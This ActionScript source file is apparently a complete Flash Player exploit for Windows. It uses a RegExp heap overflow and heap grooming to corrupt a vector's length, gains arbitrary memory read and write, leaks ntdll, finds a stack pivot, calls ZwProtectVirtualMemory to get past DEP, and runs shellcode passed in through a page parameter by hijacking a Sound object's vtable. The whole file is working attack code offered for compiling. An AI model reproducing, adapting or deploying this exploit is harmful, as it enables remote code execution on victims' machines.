// Compile with: mxmlc exploit.as -o exploit.swf
package 
{
	import flash.display.Sprite;
	import flash.media.Sound;
	import flash.utils.ByteArray;
	import __AS3__.vec.Vector;
	import flash.display.LoaderInfo;
	import flash.system.Capabilities;
	import flash.utils.Endian;
	import __AS3__.vec.*;
	import flash.utils.*;
	import flash.display.*;
	import flash.media.*;
	import flash.system.*;
	import flash.external.*;
	import flash.net.*;
	
	public class exploit extends Sprite 
	{
		public var flash_version:Number;
		public var sound_object:Sound;
		public var byte_array:ByteArray;
		public var massaged_memory:Vector.<Object>;
		public var vector_object_offset_4:uint; // For overwritting and restoring purposes; float in memory needs 8 bytes
		public var TweakedVector:Vector.<Number>;
		public var TweakedVector_address:uint;
		public var sound_address:uint;
		public var sound_address_vtable:uint;
		public var sound_address_offset_4:uint; // For overwritting and restoring purposes; float in memory needs 8 bytes
		public var byte_array_data_address:uint;
		public var ntdll_base:uint;
		public var ntdll_pe_file_header:uint;
		public var stack_pivot:uint;
		public var virtual_alloc_address:uint;
		public var last_leaked_address:uint;
		public var last_leak:Vector.<uint>;
		
		public function exploit():void
		{
			this.sound_object = new Sound();
			this.byte_array = new ByteArray();
			this.massaged_memory = new Vector.<Object>(0);
			this.last_leak = new Vector.<uint>(2);
			super();
			var loader:LoaderInfo = LoaderInfo(this.root.loaderInfo);
			var shellcode:String = ((loader.parameters.hasOwnProperty("his")) ? loader.parameters["his"] : null);
			if (shellcode == null){
				return;
			};
			if (!this.CheckVersion()){
				return;
			};
			this.ExploitIt(shellcode);
			this.Restore();
		}
		
		public function CheckVersion():Boolean
		{
			var capabilities:* = Capabilities.version.toLowerCase().split(" ");
			if (capabilities[0] != "win"){
				return (false);
			};
			this.flash_version = Number(capabilities[1].substr(0, 4).split(",").join(""));
			if ((((this.flash_version < 110)) && ((this.flash_version > 115)))){
				return (false);
			};
			return (true);
		}
		
		public function PrepareMemoryAndOverflow():RegExp
		{
			var index:uint;
			var tmp_vector:Vector.<Object>;
			index = 0;
			
			while (index < 0x4000) {
				tmp_vector = new Vector.<Object>(16);
				tmp_vector[0] = new RegExp("sdfhefbwjghfewtyfnwgvwgbvhwasfgsvrtvcrgeeg", "");
				tmp_vector[1] = this.CreateVectorSixteenNumbers();
				tmp_vector[2] = this.CreateVectorSixteenNumbers();
				tmp_vector[3] = this.CreateVectorSixteenNumbers();
				tmp_vector[4] = this.CreateVectorSixteenNumbers();
				tmp_vector[5] = this.CreateVectorSixteenNumbers();
				tmp_vector[6] = this.CreateVectorSixteenNumbers();
				tmp_vector[7] = this.CreateVectorSixteenNumbers();
				tmp_vector[8] = this.CreateVectorSixteenNumbers();
				tmp_vector[9] = this.CreateVectorThirtyTwoObjects();
				tmp_vector[10] = this.CreateVectorThirtyTwoObjects();
				tmp_vector[11] = this.CreateVectorThirtyTwoObjects();
				tmp_vector[12] = this.CreateVectorThirtyTwoObjects();
				tmp_vector[13] = this.CreateVectorThirtyTwoObjects();
				tmp_vector[14] = this.CreateVectorThirtyTwoObjects();
				tmp_vector[15] = this.CreateVectorThirtyTwoObjects();
				this.massaged_memory[index] = tmp_vector;
				index++;
			};
			index = 0x2000;
			
			// Make some holes
			while (index < 0x3fff) {
				if ((index % 2) != 0){
					this.massaged_memory[index][2] = null;
				};
				index++;
			};
			
			// Hopefully reuse a hole and overflow a tmp_vector[3] field
			return (new RegExp("(?i)()()(?-i)||||||||||||||||||||||", ""));
		}
		
		public function SearchOverflowedTweakAndRestore():Boolean
		{
			var index:uint;
			var numbers_vector_index:uint;
			var overflowed_vector:Vector.<Number>;
			var fingerprint:Number;
			index = 0;
			_loop_1:
			while (index < 0x4000) {
				numbers_vector_index = 1;
				while (numbers_vector_index < 9) {
					try {
						// If the length is bigger than 17, the vector's length has been overflowed
						if ((this.massaged_memory[index][numbers_vector_index] as Vector.<Number>).length > 17){
							overflowed_vector = (this.massaged_memory[index][numbers_vector_index] as Vector.<Number>);
							if (this.ReadTwoUint(overflowed_vector, 17)[0] == 16) {
								break _loop_1;
							}
							return (false);
						};
					} catch(e:Error) {
					};
					numbers_vector_index++;
				};
				index++;
			};
			
			if (overflowed_vector){
				this.vector_object_offset_4 = this.ReadTwoUint(overflowed_vector, 17)[1];
				// Overwrite the length of the vector following the overflowed one:
				// reused hole (vector)  ==> overflowed vector ==> corrupted (tweaked) vector
				overflowed_vector[17] = this.TwoUintToFloat(0xFFFFFFFE, this.vector_object_offset_4);
				// corrupts the first position of the corrupted (tweaked) vector, so we can find it
				// in the future easily.
				fingerprint = (overflowed_vector[18] = this.TwoUintToFloat(0x41414141, 0));				
				index = 0;
				while (index < 0x4000) {
					numbers_vector_index = 1;
					while (numbers_vector_index < 9) {
						try {
							// restore the overflowed vector's length
							if ((this.massaged_memory[index][numbers_vector_index] as Vector.<Number>)[0] == fingerprint){
								this.TweakedVector = (this.massaged_memory[index][numbers_vector_index] as Vector.<Number>);
								this.TweakedVector[0x1fffffed] = this.TwoUintToFloat(16, this.vector_object_offset_4);
								return (true);
							};
						} catch(e:Error) {
						};
						numbers_vector_index++;
					};
					index++;
				};
			};
			return (false);
		}
		
		public function Restore():void
		{
			try {
				if (((this.TweakedVector) && (this.vector_object_offset_4))){
					if (((this.sound_address) && (this.sound_address_vtable))){
						this.OverwriteAddress(this.sound_address, this.sound_address_vtable, this.sound_address_offset_4);
					};
					this.TweakedVector[0x1fffffff] = this.TwoUintToFloat(16, this.vector_object_offset_4);
					return;
				};
			} catch(e:Error) {
			};
			do  {
			} while (1);
		}
		
		public function GetAddressTweakedVector():Boolean
		{
			var index:uint;
			var index_numbers_vectors:uint;
			var tweaked_next:Vector.<uint>;
			var tweaked_next_next:Vector.<uint>;
			try {
				index = 0;
				// Nullify (free) number vectors who aren't the tweaked one
				while (index < 0x4000) {
					index_numbers_vectors = 1;
					while (index_numbers_vectors < 9) {
						if (this.massaged_memory[index][index_numbers_vectors] != this.TweakedVector){
							this.massaged_memory[index][index_numbers_vectors] = null;
						};
						index_numbers_vectors++;
					};
					index++;
				};
				index = 1;
				while (index < 4) {
					tweaked_next = this.ReadTwoUint(this.TweakedVector, ((17 * index) + (index - 1)));
					tweaked_next_next = this.ReadTwoUint(this.TweakedVector, ((17 * (index + 1)) + index));
					// Verify that after the tweaked vector there are two more number vectors
					// With the tweaked vector it is kinda easy to disclose its own address, becasuse
					// Flash links vectors, so there are pointers.
					if ((((((((((tweaked_next[1] == this.vector_object_offset_4)) && ((tweaked_next_next[1] == this.vector_object_offset_4)))) && ((tweaked_next[1] < tweaked_next[0])))) && ((tweaked_next_next[1] < tweaked_next_next[0])))) && (((tweaked_next_next[0] - tweaked_next[0]) == 144)))){
						this.TweakedVector_address = (tweaked_next[0] - (144 * (index + 1)));
						return (true);
					};
					index++;
				};
			} catch(e:Error) {
			};
			return (false);
		}
		
		public function LeakObjectAddresses():Boolean
		{
			var one_signature:Number;
			var i:uint;
			var objects_leak:Vector.<uint>;
			var byte_array_address:uint;
			try {
				one_signature = this.TwoUintToFloat(1, 1); // to match nil entries
				i = 0;
				while (i < 0x1000) {
					// Search first objects vector entry from the tweaked one (from the massaged memory...)
					if ((((this.ReadTwoUint(this.TweakedVector, i)[1] == 32)) && ((this.TweakedVector[(i + 1)] == one_signature)))){
						//objects_leak[0] => ByteArray object
						//objects_leak[1] => Sound object
						objects_leak = this.ReadTwoUint(this.TweakedVector, (i + 2));
						
						this.sound_address = (objects_leak[0] & 0xFFFFFFF8);
						this.sound_address_vtable = this.Leak(this.sound_address, true);				
						this.sound_address_offset_4 = this.Leak((this.sound_address + 4), true);
						
						byte_array_address = (objects_leak[1] & 0xFFFFFFF8);
						
						if (this.flash_version < 114){
							this.byte_array_data_address = this.Leak((byte_array_address + 56), true);
							
						} else {
							byte_array_address = this.Leak((byte_array_address + 64), true);
							this.byte_array_data_address = this.Leak((byte_array_address + 8), true);
						};
						return (true);
					};
					i++;
				};
			} catch(e:Error) {
			};
			return (false);
		}
		
		public function Leak(address:uint, align:Boolean):uint
		{
			var eigth_byte_aligned:uint;
			if (align) {
				eigth_byte_aligned = ((((address % 8) == 0)) ? 0 : 1);
			} else {
				eigth_byte_aligned = 0;
			}
			if (eigth_byte_aligned){
				address = (address - 4);
			};
			if (this.last_leaked_address == address){
				return (this.last_leak[eigth_byte_aligned]);
			};
			var _local_3:uint = (((address - this.TweakedVector_address) - 8) / 8);
			this.last_leaked_address = address;
			this.last_leak = this.ReadTwoUint(this.TweakedVector, _local_3);
			return (this.last_leak[eigth_byte_aligned]);
		}
		
		public function OverwriteAddress(address:uint, value1:uint, value2:uint):void
		{
			var address_trough_tweaked:uint = (((address - this.TweakedVector_address) - 8) / 8);
			this.TweakedVector[address_trough_tweaked] = this.TwoUintToFloat(value1, value2);
		}
		
		public function LeakNtdll():Boolean
		{
			var ntdll_address:uint;
			var KiFastSystemCall_address:uint;
			var pe_file_header_address:uint;
			try {
				//KiFastSystemCallRet
				KiFastSystemCall_address = this.Leak(0x7FFE0300, true);
				if (KiFastSystemCall_address == 0){
					KiFastSystemCall_address = this.Leak(0x7ffe0340, true);
				};
				if (KiFastSystemCall_address){
					KiFastSystemCall_address = (KiFastSystemCall_address & 0xFFFF0000);
					while (1) {
						if ((this.Leak(KiFastSystemCall_address, true) & 0xFFFF) == 0x5a4d){ // PE signature
							ntdll_address = KiFastSystemCall_address;
							break;
						};
						KiFastSystemCall_address = (KiFastSystemCall_address - 65536);
					};
					if (ntdll_address){
						pe_file_header_address = (ntdll_address + this.Leak((ntdll_address + 0x3c), true));
						if (this.Leak(pe_file_header_address, true) == 0x4550){ // NT Header
							this.ntdll_base = ntdll_address;
							this.ntdll_pe_file_header = pe_file_header_address;
							return (true);
						};
					};
				};
			} catch(e:Error) {
			};
			return (false);
		}
		
		public function GetUint(_arg_1:uint, _arg_2:uint, _arg_3:uint):uint
		{
			var _local_4:uint = (_arg_1 >>> (8 * _arg_3));
			var _local_5:uint = (((_arg_3 == 0)) ? 0 : (_arg_2 << ((4 - _arg_3) * 8)));
			return ((_local_5 | _local_4));
		}
		
		public function FindStackPivot():Boolean
		{
			var ntdll_size_of_code:uint;
			var ntdll_base_of_code:uint;
			var instr:uint;
			var offset:uint;
			var next_instr:uint;
			var instr_offset:uint;
			try {
				ntdll_size_of_code = this.Leak((this.ntdll_pe_file_header + 0x1c), true);
				ntdll_base_of_code = this.Leak((this.ntdll_pe_file_header + 0x2c), true);
				if (((ntdll_size_of_code) && (ntdll_base_of_code))){
					ntdll_base_of_code = (ntdll_base_of_code + this.ntdll_base);
					instr = this.Leak(ntdll_base_of_code, true);
					offset = 4;
					while (offset < ntdll_size_of_code) {
						next_instr = this.Leak((ntdll_base_of_code + offset), true);
						instr_offset = 0;
						while (instr_offset < 4) {
							if ((this.GetUint(instr, next_instr, instr_offset) & 0xFFFF) == 0xc394){ // xcht esp, eax ; ret # 94 c3
								this.stack_pivot = (((ntdll_base_of_code + offset) - 4) + instr_offset);
								return (true);
							};
							instr_offset++;
						};
						instr = next_instr;
						offset = (offset + 4);
					};
				};
			} catch(e:Error) {
			};
			return (false);
		}
		
		public function Match(address:uint, signature:Vector.<uint>, offset:uint):Boolean
		{
			var content_next:uint;
			var content:uint = this.Leak(address, true);
			var i:uint;
			while (i < signature.length) {
				content_next = this.Leak((address + ((i + 1) * 4)), true);
				if (this.GetUint(content, content_next, offset) != signature[i]){
					return (false);
				};
				content = content_next;
				i++;
			};
			return (true);
		}
		
		public function LeakVirtualProtect():Boolean
		{
			var exports_address:uint;
			var virtual_protect_signature:Vector.<uint>;
			var n_functions:uint;
			var ptrs_entry:uint;
			var ptrs_name:uint;
			var ptrs_ordinal:uint;
			var i:uint;
			var export_name_entry:uint;
			var offset_export_name_entry:uint;
			var _local_10:uint;
			
			try {
				exports_address = this.Leak((this.ntdll_pe_file_header + 0x78), true); // Export Data Directory Offset
				if (exports_address){
					exports_address = (exports_address + this.ntdll_base);
					virtual_protect_signature = new <uint>[0x7250775a, 0x6365746f, 0x72695674]; // ZwProtectVir ; It's searching for ZwProtectVirtualMemory
					n_functions = this.Leak((exports_address + 24), true);
					ptrs_entry = this.Leak((exports_address + 28), true);
					ptrs_name = this.Leak((exports_address + 32), true);
					ptrs_ordinal = this.Leak((exports_address + 36), true);
					if (((((((n_functions) && (ptrs_entry))) && (ptrs_name))) && (ptrs_ordinal))){
						ptrs_entry = (ptrs_entry + this.ntdll_base);
						ptrs_name = (ptrs_name + this.ntdll_base);
						ptrs_ordinal = (ptrs_ordinal + this.ntdll_base);
						i = 0;
						while (i < n_functions) {
							export_name_entry = this.Leak((ptrs_name + (i * 4)), true);
							if (export_name_entry){
								export_name_entry = (export_name_entry + this.ntdll_base);
								offset_export_name_entry = (export_name_entry % 4);
								export_name_entry = (export_name_entry - offset_export_name_entry);
								if (this.Match(export_name_entry, virtual_protect_signature, offset_export_name_entry)){
									_local_10 = this.Leak((ptrs_ordinal + ((i / 2) * 4)), false);									
									if ((i % 2)){
										_local_10 = (_local_10 >>> 16);
									};
									
									this.virtual_alloc_address = (this.ntdll_base + this.Leak((ptrs_entry + ((_local_10 & 0xFFFF) * 4)), true));
									return (true);
								};
							};
							i++;
						};
					};
				};
			} catch(e:Error) {
			};
			return (false);
		}
		
		public function ExploitIt(shellcode:String):void
		{
			var not_used:* = this.PrepareMemoryAndOverflow();
			if (!this.SearchOverflowedTweakAndRestore()){
				return;
			};
			if (!this.GetAddressTweakedVector()){
				return;
			};
			if (!this.LeakNtdll()){
				return;
			};
			if (!this.FindStackPivot()){
				return;
			};
			if (!this.LeakVirtualProtect()){
				return;
			};
			var i:uint;
			while (i < 0x19000) {
				this.byte_array.writeUnsignedInt(0x41424344);
				i++;
			};
			this.byte_array.endian = Endian.LITTLE_ENDIAN;
			var init_pos:uint = this.byte_array.position;
			
			// Write shellcode into the byte array
			this.byte_array.position = (init_pos + 136); 			
			this.write_into_byte_array(this.byte_array, shellcode);
			
			// Write stack pivot into the byte array
			this.byte_array.position = (init_pos + 112);
			this.byte_array.writeUnsignedInt(this.stack_pivot);
			
			if (!this.LeakObjectAddresses()){
				return;
			};
			
			this.byte_array_data_address = (this.byte_array_data_address + init_pos);			
			this.byte_array.position = init_pos;
			
			// build ZwProtectVirtualMemory "return to ntdll attack" to bypass DEP
			this.byte_array.writeUnsignedInt(this.virtual_alloc_address);           // ZwProtectVirtualMemory
			this.byte_array.writeUnsignedInt((this.byte_array_data_address + 136)); // ret (shellcode address)
			this.byte_array.writeUnsignedInt(0xFFFFFFFF);                           // ProcessHandle
			this.byte_array.writeUnsignedInt((this.byte_array_data_address + 28));  // BaseAddress
			this.byte_array.writeUnsignedInt((this.byte_array_data_address + 32));  // NumberOfBytesToProtect
			this.byte_array.writeUnsignedInt(64);                                   // NewAccessProtection
			this.byte_array.writeUnsignedInt((this.byte_array_data_address + 36));  // OldAccessProtection
			this.byte_array.writeUnsignedInt(this.byte_array_data_address);         // this.byte_array_data_address + 28 
			this.byte_array.writeUnsignedInt(0x1000);                               // this.byte_array_data_address + 32
			this.byte_array.writeUnsignedInt(0x41424344);                           // this.byte_array_data_address + 36
			
			// Overwrite Sound...
			this.OverwriteAddress(this.sound_address, this.byte_array_data_address, this.sound_address_offset_4);
			
			// Make it happen!
			new Number(this.sound_object.toString());
		}
		
		private function write_into_byte_array(byte_array:ByteArray, string:String):void
		{
			var _local_4:String;
			var _local_5:int;
			var _local_3:int;
			while (_local_3 < string.length) {
				_local_4 = string.substr(_local_3, 2);
				_local_5 = parseInt(_local_4, 16);
				byte_array.writeByte(_local_5);
				_local_3 = (_local_3 + 2);
			};
		}
		
		private function TwoUintToFloat(_arg_1:uint, _arg_2:uint):Number
		{
			var result_float:ByteArray = new ByteArray();
			result_float.endian = Endian.LITTLE_ENDIAN;
			result_float.writeInt(_arg_1);
			result_float.writeInt(_arg_2);
			result_float.position = 0;
			return (result_float.readDouble());
		}
		
		// vector is a Float vectors
		// index is the position to read from the vector
		// read the vector[index] float i retorna els dos enters
		// ocupant les dues posiciones
		private function ReadTwoUint(vector:Vector.<Number>, index:uint):Vector.<uint>
		{
			var byte_array:ByteArray = new ByteArray();
			byte_array.endian = Endian.BIG_ENDIAN;
			byte_array.writeDouble(vector[index]);
			var vector_uint:Vector.<uint> = new Vector.<uint>(2);
			byte_array.position = 0;
			vector_uint[1] = byte_array.readUnsignedInt();
			vector_uint[0] = byte_array.readUnsignedInt();
			return (vector_uint);
		}
		
		private function CreateVectorThirtyTwoObjects():Vector.<Object>
		{
			var vector:* = new Vector.<Object>(32);
			vector[0] = null;
			vector[1] = null;
			vector[2] = this.sound_object;
			vector[3] = this.byte_array;
			return (vector);
		}
		
		private function CreateVectorSixteenNumbers():Vector.<Number>
		{
			var vector:* = new Vector.<Number>(16);
			vector[0] = 0;
			vector[15] = 1;
			return (vector);
		}
	}
}